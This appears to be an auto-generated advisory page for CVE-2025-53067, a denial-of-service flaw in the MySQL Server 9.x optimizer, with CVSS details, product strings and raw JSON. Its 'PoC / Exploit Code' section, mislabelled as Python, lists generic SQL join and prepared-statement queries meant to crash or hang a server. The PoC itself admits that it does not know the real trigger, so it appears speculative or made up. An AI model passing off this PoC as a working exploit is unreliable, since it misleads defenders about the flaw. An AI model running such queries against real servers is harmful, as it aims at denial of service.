Security Vulnerability Report
中文
CVE-2025-53067 CVSS 4.9 MEDIUM

CVE-2025-53067

Published: 2025-10-21 20:20:48
Last Modified: 2025-10-24 14:38:12

Description

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
Oracle MySQL Server 9.0.0
Oracle MySQL Server 9.0.0 - 9.4.0
Oracle MySQL Server 9.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- CVE-2025-53067 PoC: Oracle MySQL Server Optimizer DoS -- Vulnerability: Denial of Service via Optimizer component -- Affected versions: MySQL Server 9.0.0 - 9.4.0 -- Requirements: High-privileged MySQL user account -- Note: This PoC demonstrates the attack pattern. Specific trigger -- query requires knowledge of the internal optimizer flaw. -- Step 1: Connect to the target MySQL Server with high-privileged credentials -- mysql -h <target_host> -u <admin_user> -p -- Step 2: Craft a malicious query that triggers the Optimizer defect -- The following pattern targets the optimizer's handling of complex queries -- involving subqueries, joins, or derived tables that cause the optimizer -- to enter an abnormal state USE information_schema; -- Example: Complex query designed to trigger optimizer crash/hang -- The exact trigger depends on the specific optimizer bug SET SESSION optimizer_switch = 'batched_key_access=on,mrr_cost_based=off'; SELECT /*+ NO_MERGE(t) */ * FROM ( SELECT t1.table_name, t1.table_rows FROM information_schema.tables t1 JOIN information_schema.tables t2 ON t1.table_name = t2.table_name JOIN information_schema.tables t3 ON t1.table_name = t3.table_name WHERE t1.table_schema = DATABASE() AND t2.table_schema = DATABASE() AND t3.table_schema = DATABASE() ) AS t WHERE t.table_rows > 0 ORDER BY t.table_name; -- Alternative approach: Trigger optimizer bug via prepared statements PREPARE stmt FROM 'SELECT * FROM information_schema.tables WHERE table_name = ?'; SET @a = (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()); EXECUTE stmt USING @a; -- The above query patterns may cause the MySQL Server to hang or crash -- due to the optimizer defect in versions 9.0.0 - 9.4.0

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53067", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:47.503", "lastModified": "2025-10-24T14:38:12.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.4.0", "matchCriteriaId": "E45D5E7F-C3E3-401D-8A59-1398F421173C"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}